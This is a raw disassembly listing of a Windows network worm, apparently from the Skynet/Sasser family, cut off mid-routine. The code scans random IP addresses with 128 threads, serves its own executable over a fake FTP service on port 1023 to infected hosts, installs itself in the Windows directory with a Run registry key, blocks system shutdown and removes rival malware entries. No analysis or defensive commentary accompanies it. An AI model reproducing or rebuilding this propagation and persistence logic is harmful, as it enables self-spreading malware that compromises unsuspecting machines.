sub_401B1B	proc near		; CODE XREF: sub_401F4B+126p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		call	sub_404DA2	; IcmpCreateFile
		push	[ebp+arg_4]
		mov	esi, eax
		lea	eax, [ebp+var_24]
		or	[ebp+var_1C], 0FFFFFFFFh
		push	24h
		push	eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_0]
		push	esi
		call	sub_404D9C	; IcmpSendEcho
		test	eax, eax
		jnz	short loc_401B4D
		or	eax, 0FFFFFFFFh
		jmp	short loc_401B56
; ---------------------------------------------------------------------------


loc_401B4D:				; CODE XREF: sub_401B1B+2Bj
		push	esi
		call	sub_404D96	; IcmpCloseHandle
		mov	eax, [ebp+var_1C]


loc_401B56:				; CODE XREF: sub_401B1B+30j
		pop	esi
		leave
		retn
sub_401B1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B59	proc near		; DATA XREF: sub_401EC0+74o

var_8E4		= byte ptr -8E4h
var_4E4		= byte ptr -4E4h
var_4E0		= byte ptr -4E0h
var_E4		= byte ptr -0E4h
var_60		= byte ptr -60h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8E4h
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 0FFFFFFFFh
		jz	loc_401E84
		push	esi
		push	edi
		push	0
		push	ds:off_4068D0
		call	sub_402300
		mov	esi, ds:dword_405118
		pop	ecx
		push	eax
		push	ds:off_4068D0
		push	ebx
		call	esi	; send
		mov	edi, [ebp+arg_0]
		jmp	short loc_401B97
; ---------------------------------------------------------------------------


loc_401B94:				; CODE XREF: sub_401B59+31Aj
		mov	ebx, [ebp+arg_0]


loc_401B97:				; CODE XREF: sub_401B59+39j
		push	0
		lea	eax, [ebp+var_4E4]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_405114	; recv
		and	[ebp+eax+var_4E4], 0
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4E4]
		push	offset aUser	; "USER"
		push	eax
		call	sub_4026F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401BE8
		push	0
		push	ds:off_4068D4
		call	sub_402300
		pop	ecx
		push	eax
		push	ds:off_4068D4
		jmp	loc_401E6C
; ---------------------------------------------------------------------------


loc_401BE8:				; CODE XREF: sub_401B59+73j
		lea	eax, [ebp+var_4E4]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4026F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401C19
		push	0
		push	ds:off_4068D8
		call	sub_402300
		pop	ecx
		push	eax
		push	ds:off_4068D8
		jmp	loc_401E6C
; ---------------------------------------------------------------------------


loc_401C19:				; CODE XREF: sub_401B59+A4j
		lea	eax, [ebp+var_4E4]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4026F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401CF5
		lea	eax, [ebp+var_4E0]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_402810
		mov	ax, ds:word_406A68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_402770
		add	esp, 10h
		mov	ebx, eax
		xor	edi, edi


loc_401C68:				; CODE XREF: sub_401B59+159j
		test	ebx, ebx
		jz	short loc_401C9C
		cmp	edi, 4
		jge	short loc_401C7F
		push	ebx
		call	sub_401E8B
		pop	ecx
		mov	[ebp+edi*4+var_38], eax
		cmp	edi, 4


loc_401C7F:				; CODE XREF: sub_401B59+116j
		jnz	short loc_401C8B
		push	ebx
		call	sub_401E8B
		pop	ecx
		mov	[ebp+var_18], eax


loc_401C8B:				; CODE XREF: sub_401B59:loc_401C7Fj
		cmp	edi, 5
		jnz	short loc_401C9F
		push	ebx
		call	sub_401E8B
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_401C9F
; ---------------------------------------------------------------------------


loc_401C9C:				; CODE XREF: sub_401B59+111j
		push	6
		pop	edi


loc_401C9F:				; CODE XREF: sub_401B59+135j
					; sub_401B59+141j
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_402770
		inc	edi
		pop	ecx
		cmp	edi, 6
		pop	ecx
		mov	ebx, eax
		jl	short loc_401C68
		push	[ebp+var_2C]
		mov	edi, [ebp+var_18]
		lea	eax, [ebp+var_60]
		push	[ebp+var_30]
		shl	edi, 8
		push	[ebp+var_34]
		add	edi, [ebp+var_14]
		push	[ebp+var_38]
		push	offset aI_I_I_I	; "%i.%i.%i.%i"
		push	eax
		call	ds:dword_4050F0	; wsprintfA
		add	esp, 18h
		push	0
		push	ds:off_4068E0
		call	sub_402300
		pop	ecx
		push	eax
		push	ds:off_4068E0
		jmp	loc_401E32
; ---------------------------------------------------------------------------


loc_401CF5:				; CODE XREF: sub_401B59+D5j
		lea	eax, [ebp+var_4E4]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4026F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E37
		push	0
		push	ds:off_4068E4
		call	sub_402300
		pop	ecx
		push	eax
		push	ds:off_4068E4
		push	ebx
		call	esi	; send
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_4011D5
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_401E14
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_4022A0
		add	esp, 0Ch
		mov	[ebp+var_28], 2
		push	edi
		call	ds:dword_40511C	; htons
		push	0
		push	1
		push	2
		mov	[ebp+var_26], ax
		mov	[ebp+var_24], ebx
		call	ds:dword_405120	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp+var_C], ebx
		jz	loc_401E14
		lea	eax, [ebp+var_28]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_405124	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D95
		push	ebx
		call	ds:dword_405128	; closesocket
		jmp	short loc_401E14
; ---------------------------------------------------------------------------


loc_401D95:				; CODE XREF: sub_401B59+231j
		lea	eax, [ebp+var_8E4]
		push	400h
		push	eax
		push	0
		call	ds:dword_405038	; GetModuleFileNameA
		lea	eax, [ebp+var_8E4]
		push	0
		push	eax
		call	ds:dword_405034	; _lopen
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jz	short loc_401E14
		lea	eax, [ebp+var_2]
		push	offset dword_4070C8
		push	eax
		call	sub_402810
		mov	ebx, ds:dword_405030
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	[ebp+var_8]


loc_401DDF:				; CODE XREF: sub_401B59+2A6j
		call	ebx	; _hread
		cmp	eax, 1
		jnz	short loc_401E01
		and	[ebp+var_1], 0
		push	0
		push	eax
		lea	eax, [ebp+var_2]
		push	eax
		push	[ebp+var_C]
		call	esi	; send
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	[ebp+var_8]
		jmp	short loc_401DDF
; ---------------------------------------------------------------------------


loc_401E01:				; CODE XREF: sub_401B59+28Bj
		push	[ebp+var_8]
		call	ds:dword_40501C	; _lclose
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_401210
		pop	ecx


loc_401E14:				; CODE XREF: sub_401B59+1DDj
					; sub_401B59+21Bj ...
		push	[ebp+var_C]
		call	ds:dword_405128	; closesocket
		push	0
		push	ds:off_4068DC
		call	sub_402300
		pop	ecx
		push	eax
		push	ds:off_4068DC


loc_401E32:				; CODE XREF: sub_401B59+197j
		push	[ebp+arg_0]
		jmp	short loc_401E6D
; ---------------------------------------------------------------------------


loc_401E37:				; CODE XREF: sub_401B59+1B1j
		lea	eax, [ebp+var_4E4]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4026F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401E57
		push	ebx
		call	ds:dword_405128	; closesocket
		jmp	short loc_401E6F
; ---------------------------------------------------------------------------


loc_401E57:				; CODE XREF: sub_401B59+2F3j
		push	0
		push	ds:off_4068DC
		call	sub_402300
		pop	ecx
		push	eax
		push	ds:off_4068DC


loc_401E6C:				; CODE XREF: sub_401B59+8Aj
					; sub_401B59+BBj
		push	ebx


loc_401E6D:				; CODE XREF: sub_401B59+2DCj
		call	esi	; send


loc_401E6F:				; CODE XREF: sub_401B59+2FCj
		cmp	[ebp+var_10], 0
		jg	loc_401B94
		push	[ebp+arg_0]
		call	ds:dword_405128	; closesocket
		pop	edi
		pop	esi


loc_401E84:				; CODE XREF: sub_401B59+10j
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_401B59	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E8B	proc near		; CODE XREF: sub_401B59+119p
					; sub_401B59+129p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi


loc_401E93:				; CODE XREF: sub_401E8B+13j
		mov	al, [esi]
		cmp	al, 20h
		jz	short loc_401E9D
		cmp	al, 9
		jnz	short loc_401EA0


loc_401E9D:				; CODE XREF: sub_401E8B+Cj
		inc	esi
		jmp	short loc_401E93
; ---------------------------------------------------------------------------


loc_401EA0:				; CODE XREF: sub_401E8B+10j
					; sub_401E8B+2Ej
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_402900
		test	eax, eax
		pop	ecx
		jz	short loc_401EBB
		movsx	ecx, byte ptr [esi]
		lea	eax, [edi+edi*4]
		inc	esi
		lea	edi, [ecx+eax*2-30h]
		jmp	short loc_401EA0
; ---------------------------------------------------------------------------


loc_401EBB:				; CODE XREF: sub_401E8B+21j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_401E8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EC0	proc near		; DATA XREF: sub_4020D9+6Eo

var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	1
		push	2
		call	ds:dword_405120	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_401EE4


loc_401EDC:				; CODE XREF: sub_401EC0+63j
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_401EE4:				; CODE XREF: sub_401EC0+1Aj
		push	3FFh
		mov	[ebp+var_14], 2
		call	ds:dword_40511C	; htons
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_10], esi
		call	ds:dword_405108	; bind
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401F1C
		push	5
		push	edi
		call	ds:dword_40510C	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F25


loc_401F1C:				; CODE XREF: sub_401EC0+4Cj
		push	edi
		call	ds:dword_405128	; closesocket
		jmp	short loc_401EDC
; ---------------------------------------------------------------------------


loc_401F25:				; CODE XREF: sub_401EC0+5Aj
					; sub_401EC0+89j
		push	esi
		push	esi
		push	edi
		call	ds:dword_405110	; accept
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		push	eax
		push	offset sub_401B59
		push	esi
		push	esi
		call	ds:dword_40503C	; CreateThread
		push	19h
		call	ds:dword_40502C	; Sleep
		jmp	short loc_401F25
sub_401EC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401F4B	proc near		; DATA XREF: sub_4020D9+82o

var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= byte ptr -454h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_400		= byte ptr -400h

		sub	esp, 45Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0FFFFFFFFh
		call	ds:dword_405048	; GetCurrentThread
		push	eax
		call	ds:dword_405044	; SetThreadPriority


loc_401F64:				; CODE XREF: sub_401F4B+37j
		xor	esi, esi
		lea	eax, [esp+46Ch+var_458]
		push	esi
		push	eax
		mov	[esp+474h+var_458], esi
		call	ds:dword_4050FC	; InternetGetConnectedState
		cmp	eax, esi
		jnz	short loc_401F84
		push	19h
		call	ds:dword_40502C	; Sleep
		jmp	short loc_401F64
; ---------------------------------------------------------------------------


loc_401F84:				; CODE XREF: sub_401F4B+2Dj
		lea	eax, [esp+46Ch+var_438]
		push	eax
		call	sub_4010D2
		pop	ecx
		lea	eax, [esp+46Ch+var_438]
		push	eax
		call	ds:dword_405134	; inet_addr
		movsx	ebp, al
		movsx	eax, ah
		mov	[esp+46Ch+var_45C], eax
		cmp	ebp, esi
		mov	eax, 100h
		jge	short loc_401FAF
		add	ebp, eax


loc_401FAF:				; CODE XREF: sub_401F4B+60j
		cmp	[esp+46Ch+var_45C], esi
		jge	short loc_401FB9
		add	[esp+46Ch+var_45C], eax


loc_401FB9:				; CODE XREF: sub_401F4B+68j
		mov	edi, ds:dword_4050F0
		mov	esi, 0FFh
		mov	ebx, offset aI_I_I_I ; "%i.%i.%i.%i"


loc_401FC9:				; CODE XREF: sub_401F4B+189j
		call	sub_401000
		push	1Fh
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Fh
		jle	short loc_402029
		call	sub_401000
		push	1Fh
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Fh
		jle	short loc_40200C
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		jmp	short loc_402026
; ---------------------------------------------------------------------------


loc_40200C:				; CODE XREF: sub_401F4B+9Cj
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		push	[esp+474h+var_45C]


loc_402026:				; CODE XREF: sub_401F4B+BFj
		push	ebp
		jmp	short loc_402055
; ---------------------------------------------------------------------------


loc_402029:				; CODE XREF: sub_401F4B+8Cj
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx


loc_402055:				; CODE XREF: sub_401F4B+DCj
		lea	eax, [esp+47Ch+var_454]
		push	ebx
		push	eax
		call	edi	; wsprintfA
		add	esp, 18h
		lea	eax, [esp+468h+var_450]
		push	3E8h
		push	eax
		call	ds:dword_405134	; inet_addr
		push	eax
		call	sub_401B1B
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4020CC
		lea	eax, [esp+46Ch+var_454]
		push	eax
		call	sub_401153
		cmp	al, 1
		pop	ecx
		jnz	short loc_4020CC
		lea	eax, [esp+46Ch+var_400]
		push	400h
		push	eax
		push	0
		call	ds:dword_405038	; GetModuleFileNameA
		lea	eax, [esp+46Ch+var_400]
		push	offset asc_406A84 ; " "
		push	eax
		call	sub_402820
		lea	eax, [esp+474h+var_454]
		push	eax
		lea	eax, [esp+478h+var_400]
		push	eax
		call	sub_402820
		add	esp, 10h
		lea	eax, [esp+46Ch+var_400]
		push	0
		push	eax
		call	ds:dword_405040	; WinExec


loc_4020CC:				; CODE XREF: sub_401F4B+130j
					; sub_401F4B+13Fj
		push	19h
		call	ds:dword_40502C	; Sleep
		jmp	loc_401FC9
sub_401F4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020D9	proc near		; CODE XREF: sub_40292E+C9p

var_14		= dword	ptr -14h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		call	ds:dword_405054	; GetTickCount
		push	eax
		call	sub_40101E
		call	sub_401028
		push	[ebp+arg_8]
		call	sub_402300
		pop	ecx
		test	eax, eax
		pop	ecx
		jbe	short loc_40210D
		push	[ebp+arg_8]
		call	sub_401A69
		pop	ecx
		push	1
		pop	eax

locret_402109:				; CODE XREF: sub_4020D9+5Fj
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_40210D:				; CODE XREF: sub_4020D9+22j
		push	esi
		push	edi
		push	1
		call	sub_40219B
		xor	esi, esi
		mov	[esp+14h+var_14], offset aSkynetnotice ; "SkynetNotice"
		push	esi
		push	esi
		call	ds:dword_405050	; CreateMutexA
		call	ds:dword_40504C	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_40213A
		pop	edi
		xor	eax, eax
		pop	esi
		jmp	short locret_402109
; ---------------------------------------------------------------------------


loc_40213A:				; CODE XREF: sub_4020D9+59j
		mov	edi, ds:dword_40503C
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		push	esi
		push	esi
		push	offset sub_401EC0
		push	esi
		push	esi
		call	edi	; CreateThread
		mov	ebx, 80h


loc_402155:				; CODE XREF: sub_4020D9+8Cj
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	esi
		push	offset sub_401F4B
		push	esi
		push	esi
		call	edi	; CreateThread
		dec	ebx
		jnz	short loc_402155
		xor	edi, edi
		pop	ebx


loc_40216A:				; CODE XREF: sub_4020D9+AAj
					; sub_4020D9+C0j
		push	esi
		call	ds:dword_405008	; AbortSystemShutdownA
		push	3E8h
		call	ds:dword_40502C	; Sleep
		inc	edi
		cmp	edi, 1C20h
		jle	short loc_40216A
		push	esi
		push	offset aSkynet	; "SkyNet"
		push	offset a1_YourComputer ; "1. Your computer is affected by the MS0"...
		push	esi
		xor	edi, edi
		call	ds:dword_4050F4	; MessageBoxA
		jmp	short loc_40216A
sub_4020D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40219B	proc near		; CODE XREF: sub_4020D9+38p

var_824		= byte ptr -824h
var_425		= byte ptr -425h
var_424		= byte ptr -424h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 824h
		push	esi
		mov	esi, 400h
		push	edi
		lea	eax, [ebp+var_824]
		push	esi
		push	eax
		push	0
		call	ds:dword_405038	; GetModuleFileNameA
		lea	eax, [ebp+var_424]
		push	esi
		push	eax
		call	ds:dword_40505C	; GetWindowsDirectoryA
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402300
		cmp	[ebp+eax+var_425], 5Ch
		pop	ecx
		jz	short loc_4021F3
		lea	eax, [ebp+var_424]
		push	offset asc_406C50 ; "\\"
		push	eax
		call	sub_402820
		pop	ecx
		pop	ecx


loc_4021F3:				; CODE XREF: sub_40219B+43j
		push	ds:off_4068C8
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402820
		cmp	[ebp+arg_0], 0
		pop	ecx
		pop	ecx
		jz	short loc_402223
		lea	eax, [ebp+var_424]
		push	0
		push	eax
		lea	eax, [ebp+var_824]
		push	eax
		call	ds:dword_405058	; CopyFileA


loc_402223:				; CODE XREF: sub_40219B+70j
		lea	eax, [ebp+var_4]
		mov	esi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	eax
		push	esi
		push	80000002h
		call	ds:dword_40500C	; RegOpenKeyA
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_402300
		pop	ecx
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		push	1
		push	0
		push	ds:off_4068C8
		push	[ebp+var_4]
		call	ds:dword_405004	; RegSetValueExA
		push	[ebp+var_4]
		call	ds:dword_405000	; RegCloseKey
		push	offset aSsgrate_exe ; "ssgrate.exe"
		mov	edi, 80000001h
		push	esi
		push	edi
		call	sub_401AED
		push	offset aDrvsys_exe ; "drvsys.exe"
		push	esi
		push	edi
		call	sub_401AED
		push	offset aDrvddll_exe ; "Drvddll_exe"
		push	esi
		push	edi
		call	sub_401AED
		add	esp, 24h
		pop	edi
		pop	esi
		leave
		retn
sub_40219B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4022A0	proc near		; CODE XREF: sub_401153+10p
					; sub_401153+40p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4022F3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4022E7
		neg	ecx
		and	ecx, 3
		jz	short loc_4022C9
		sub	edx, ecx


loc_4022C3:				; CODE XREF: sub_4022A0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4022C3


loc_4022C9:				; CODE XREF: sub_4022A0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4022E7
		rep stosd
		test	edx, edx
		jz	short loc_4022ED


loc_4022E7:				; CODE XREF: sub_4022A0+18j
					; sub_4022A0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4022E7


loc_4022ED:				; CODE XREF: sub_4022A0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4022F3:				; CODE XREF: sub_4022A0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_4022A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402300	proc near		; CODE XREF: sub_401210+2Cp
					; sub_401210+46p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_402320


loc_40230C:				; CODE XREF: sub_402300+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_402353
		test	ecx, 3
		jnz	short loc_40230C
		add	eax, 0


loc_402320:				; CODE XREF: sub_402300+Aj
					; sub_402300+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_402320
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_402371
		test	ah, ah
		jz	short loc_402367
		test	eax, 0FF0000h
		jz	short loc_40235D
		test	eax, 0FF000000h
		jz	short loc_402353
		jmp	short loc_402320
; ---------------------------------------------------------------------------


loc_402353:				; CODE XREF: sub_402300+11j
					; sub_402300+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40235D:				; CODE XREF: sub_402300+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_402367:				; CODE XREF: sub_402300+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_402371:				; CODE XREF: sub_402300+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_402300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402380	proc near		; CODE XREF: sub_40137D+59p
					; sub_40137D+78p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4023A0
		cmp	edi, eax
		jb	loc_402518


loc_4023A0:				; CODE XREF: sub_402380+16j
		test	edi, 3
		jnz	short loc_4023BC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4023DC
		rep movsd
		jmp	ds:off_4024C8[edx*4]
; ---------------------------------------------------------------------------


loc_4023BC:				; CODE XREF: sub_402380+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4023D4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4023DC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4023D4:				; CODE XREF: sub_402380+46j
		jmp	dword ptr ds:loc_4024D8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4023DC:				; CODE XREF: sub_402380+31j
					; sub_402380+8Ej ...
		jmp	ds:off_40245C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4023F0
		dd offset loc_40241C
		dd offset loc_402440
; ---------------------------------------------------------------------------


loc_4023F0:				; DATA XREF: sub_402380+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4023DC
		rep movsd
		jmp	ds:off_4024C8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40241C:				; DATA XREF: sub_402380+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4023DC
		rep movsd
		jmp	ds:off_4024C8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_402440:				; DATA XREF: sub_402380+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4023DC
		rep movsd
		jmp	ds:off_4024C8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40245C	dd offset loc_4024BF	; DATA XREF: sub_402380:loc_4023DCr
		dd offset loc_4024AC
		dd offset loc_4024A4
		dd offset loc_40249C
		dd offset loc_402494
		dd offset loc_40248C
		dd offset loc_402484
		dd offset loc_40247C
; ---------------------------------------------------------------------------


loc_40247C:				; CODE XREF: sub_402380:loc_4023DCj
					; DATA XREF: sub_402380+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_402484:				; CODE XREF: sub_402380:loc_4023DCj
					; DATA XREF: sub_402380+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40248C:				; CODE XREF: sub_402380:loc_4023DCj
					; DATA XREF: sub_402380+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_402494:				; CODE XREF: sub_402380:loc_4023DCj
					; DATA XREF: sub_402380+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_40249C:				; CODE XREF: sub_402380:loc_4023DCj
					; DATA XREF: sub_402380+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4024A4:				; CODE XREF: sub_402380:loc_4023DCj
					; DATA XREF: sub_402380+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4024AC:				; CODE XREF: sub_402380:loc_4023DCj
					; DATA XREF: sub_402380+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4024BF:				; CODE XREF: sub_402380:loc_4023DCj
					; DATA XREF: sub_402380:off_40245Co
		jmp	ds:off_4024C8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4024C8	dd offset loc_4024D8	; DATA XREF: sub_402380+35r
					; sub_402380+92r ...
		dd offset loc_4024E0
		dd offset loc_4024EC
		dd offset loc_402500
; ---------------------------------------------------------------------------


loc_4024D8:				; CODE XREF: sub_402380+35j
					; sub_402380+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4024E0:				; CODE XREF: sub_402380+35j
					; sub_402380+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4024EC:				; CODE XREF: sub_402380+35j
					; sub_402380+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_402500:				; CODE XREF: sub_402380+35j
					; sub_402380+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_402518:				; CODE XREF: sub_402380+1Aj
		lea	esi, [ecx+esi-4]
